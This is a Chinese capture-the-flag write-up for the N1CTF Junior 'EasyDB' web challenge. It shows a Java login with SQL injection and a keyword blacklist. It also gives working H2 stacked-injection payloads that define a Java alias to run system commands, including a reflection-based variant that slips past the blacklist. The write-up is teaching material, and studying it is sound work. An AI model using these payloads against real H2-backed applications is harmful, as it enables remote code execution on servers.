CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

代码存在sql注入

java 复制代码
    // 处理登录表单的POST请求
    @PostMapping({"/login"})
    public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {
        // 验证用户凭据
        if (this.userService.validateUser(username, password)) {
            session.setAttribute("username", username);  // 将用户名存储在会话中
            return "redirect:/";  // 验证成功,重定向到首页
        } else {
            model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型
            return "login";  // 返回登录视图
        }
    }
java 复制代码
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {
    // 使用格式化字符串构建SQL查询语句
    String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
    
    // 检查生成的查询是否安全,防止SQL注入
    if (!SecurityUtils.check(query)) {
        return false;  // 如果查询不安全,返回false
    } else {
        Throwable var8;  // 声明一个Throwable变量,用于异常处理
        // 使用try-with-resources语句自动管理Statement资源
        try (Statement stmt = this.connection.createStatement()) {
            // 执行SQL查询
            stmt.executeQuery(query);
            // 获取结果集
            ResultSet resultSet = stmt.getResultSet();
            Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常

            try {
                // 检查结果集是否有下一条记录(即用户是否存在)
                var8 = resultSet.next();
            } catch (Throwable var31) {
                var8 = var31;  // 捕获异常
                var7 = var31;  // 将异常赋值给var7以便后续处理
                throw var31;  // 重新抛出异常
            } finally {
                // 确保结果集在使用完后被关闭
                if (resultSet != null) {
                    if (var7 != null) {  // 如果有异常,处理异常
                        try {
                            resultSet.close();  // 关闭结果集
                        } catch (Throwable var30) {
                            var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中
                        }
                    } else {
                        resultSet.close();  // 正常关闭结果集
                    }
                }
            }
        } 
    } 
}

SELECT * FROM users WHERE username = '%s' AND password = '%s'

java 复制代码
// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {
    // 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击
    private static final HashSet<String> blackLists = new HashSet<>();

    // 默认构造函数
    public SecurityUtils() {
    }

    // 检查给定的SQL语句是否包含黑名单中的关键字
    public static boolean check(String sql) {
        // 遍历黑名单中的每一个关键字
        for (String keyword : blackLists) {
            // 将SQL语句转换为小写并检查是否包含黑名单关键字
            if (sql.toLowerCase().contains(keyword)) {
                return false; // 如果发现关键字,返回false,表示SQL不安全
            }
        }

        // 如果没有发现黑名单关键字,返回true,表示SQL是安全的
        return true;
    }
}
java 复制代码
static {  
    blackLists.add("runtime");  
    blackLists.add("process");  
    blackLists.add("exec");  
    blackLists.add("shell");  
    blackLists.add("file");  
    blackLists.add("script");  
    blackLists.add("groovy");  
}

使用堆叠注入rec,其标准利用形式如下

sql 复制代码
CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {
    Runtime.getRuntime().exec(cmd);
    return "su18";
}';
CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分

2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值

3.因为过滤了runtime,使用getMethodRuntime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

sql 复制代码
CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {
    String R = "R" + "untime";
    Class<?> c = Class.forName("java.lang." + R);
    Object rt = c.getMethod("get" + R).invoke(null);//实例化
    c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
  • $$...$$ 是一种用于定义 字符串常量函数体定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。

参考

2025 N1CTF Junior Web 方向全解 | J1rrY's Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn't Laugh

相关推荐
Bruce_Liuxiaowei2 小时前
深入理解PHP安全漏洞:文件包含与SSRF攻击全解析
开发语言·网络安全·php
痴人说梦梦中人8 小时前
自建 dnslog 回显平台:渗透测试场景下的隐蔽回显利器
web安全·网络安全·渗透测试·php·工具
Web极客码10 小时前
如何轻松、安全地管理密码(新手指南)
计算机网络·安全·web安全·网络安全
stormsha16 小时前
Proxmox Mail Gateway安装指南:从零开始配置高效邮件过滤系统
服务器·网络·网络安全·gateway
安全系统学习20 小时前
网络安全逆向分析之rust逆向技巧
前端·算法·安全·web安全·网络安全·中间件
2501_916007471 天前
绕过 Xcode?使用 Appuploader和主流工具实现 iOS 上架自动化
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916013741 天前
使用 Windows 完成 iOS 应用上架:Appuploader对比其他证书与上传方案
websocket·网络协议·tcp/ip·http·网络安全·https·udp
网硕互联的小客服1 天前
如何防止服务器被用于僵尸网络(Botnet)攻击 ?
网络·网络安全·ddos
浩浩测试一下1 天前
Authpf(OpenBSD)认证防火墙到ssh连接到SSH端口转发技术栈 与渗透网络安全的关联 (RED Team Technique )
网络·网络协议·tcp/ip·安全·网络安全·php
网安INF2 天前
CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)
java·web安全·网络安全·flink·漏洞